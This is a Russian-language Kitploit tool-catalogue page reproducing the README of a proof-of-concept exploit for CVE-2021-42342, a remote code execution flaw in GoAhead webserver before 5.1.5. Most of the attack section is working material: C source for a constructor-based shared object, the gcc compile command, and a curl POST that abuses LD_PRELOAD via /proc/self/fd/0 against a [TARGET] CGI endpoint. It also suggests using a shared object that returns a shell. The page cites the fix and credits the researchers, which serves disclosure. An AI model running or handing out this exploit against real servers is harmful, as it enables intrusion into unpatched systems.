Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342- — Небольшой PoC для недавней RCE, обнаруженной в Goahead Webserver до версии 5.1.5. | Kitploit
Инструменты/GitHubGitHub/kimusan/goahead-webserver-pre-5.1.5-rce-poc-cve-2021-42342-
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubkimusan/goahead-webserver-pre-5.1.5-rce-poc-cve-2021-42342-

goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

Небольшой PoC для недавней RCE, обнаруженной в Goahead Webserver до версии 5.1.5.

Репозиторий
23424 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Goahead веб-сервер (до версии 5.1.5) RCE PoC (CVE-2021-42342)

Недавняя ошибка в Goahead Webserver была обнаружена William Bowling, которая приводит к RCE на эксплуатируемом сервере.

Проблема существует в версиях до 5.1.5, которая, согласно Shodan, охватывает около 2,8 млн серверов в интернете.
CVS теперь доступен по адресу [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]

RCE возникает из-за того, что если фильтр загрузки файлов включен, то пользователь может загружать файлы и одновременно устанавливать переменные формы пользователя.

Эти переменные становятся переменными окружения ОС. Обычно это не является проблемой, так как в обычных случаях загрузки формы переменные окружения получают префикс CGI_ (по умолчанию). Однако, если фильтр загрузки файлов включен, то ошибка в коде приводит к тому, что этот префикс опускается = мгновенное RCE через переменные окружения + файл.

Создание простого shared object

Следующий код просто выведет "Hellow World" на удаленном сервере, но может быть чем угодно:

root@kitploit:~
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello World!\n", 14);
}

Скомпилируйте с помощью:

root@kitploit:~
gcc -fPIC -shared -o poc.so poc.c -nostartfiles

Эксплуатация сервера

теперь мы готовы отправить наш файл на сервер. Это можно сделать с помощью curl:

root@kitploit:~
curl -X POST  http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'

измените [TARGET] на домен/IP целевого сервера.

Вероятно, вы увидите ошибку от сервера, но попробуйте с другим shared object, который, например, свяжется с вами с помощью красивой оболочки 👍

Исправление

Исправление вышло с goahead 5.1.5 здесь: [https://github.com/embedthis/goahead/issues/305]

Благодарности

Проблема была первоначально обнаружена Willian Bowling из команды Perfect Blue CTF. Во время pbCTF 2021 задачей была существовавшая на тот момент версия (5.1.4) сервера goahead, и вместе с Kalmarunionen CTF Team мы наткнулись на ту же 0day проблему в коде (еще не раскрытую авторам).

Скачать инструмент